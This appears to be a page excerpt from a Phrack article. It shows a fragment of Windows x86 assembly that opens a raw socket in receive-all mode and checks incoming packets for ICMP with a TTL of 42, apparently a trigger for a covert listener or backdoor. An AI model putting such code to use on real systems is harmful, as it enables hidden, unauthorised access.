Phrack Inc. Volume 16 Issue 71 File 03
@eZine
Published in
Phrack Inc
· 1 week ago
... in_addr],eax mov [s_addr.sin_port],0 mov [s_addr.sin_family],AF_INET invoke socket,AF_INET,SOCK_RAW,IPPROTO_IP mov [s_sock],eax or eax,eax jnz @f jmp @exit @@: invoke bind,[s_sock],s_addr,16 or eax,eax jz @f jmp @exit @@: invoke ioctlsocket,[s_sock],SIO_RCVALL,flag ;Receive All Packet or eax,eax jz @sniff jmp @exit @sniff: invoke recv,[s_sock],buff,512,0 ;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ; Here we check if the TTL is equal to 42. ; the Answer to the Ultimate Question of Life, The Universe, and ; Everything!!! ;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ;is this ICMP? xor ebx ...